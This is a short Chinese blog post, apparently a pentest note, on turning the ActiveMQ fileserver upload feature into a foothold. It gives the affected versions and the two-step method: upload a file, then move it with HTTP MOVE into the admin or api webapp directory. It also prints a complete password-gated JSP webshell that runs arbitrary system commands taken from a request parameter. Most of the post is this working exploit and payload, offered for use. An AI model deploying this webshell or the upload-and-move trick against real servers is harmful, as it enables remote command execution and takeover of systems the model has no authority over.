activemq

activemq

ActiveMQ在5.12.x~5.13.x版本中,已经默认关闭了fileserver这个应用(你可以在conf/jetty.xml中开启之);在5.14.0版本以后,彻底删除了fileserver应用。在测试过程中,可以关注ActiveMQ的版本,避免走弯路。

写入webshell

1.fileserver上传文件

2.MOVE方法移动到可解析jsp文件路径/opt/activemq/webapps/api   或者/opt/activemq/webapps/admin

fileserver上传文件成功

webshell

 1 <%
 2     if("wxl".equals(request.getParameter("pwd"))){
 3         java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("i")).getInputStream();
 4         int a = -1;
 5         byte[] b = new byte[2048];
 6         out.print("<pre>");
 7         while((a=in.read(b))!=-1){
 8             out.println(new String(b));
 9         }
10         out.print("</pre>");
11     }
12 %>

MOVE方法移动到可解析jsp文件路径/opt/activemq/webapps/admin

前提条件:需登陆admin或api

苟利国家生死以,岂因福祸避趋之
原文地址:https://www.cnblogs.com/lyh1/p/14083492.html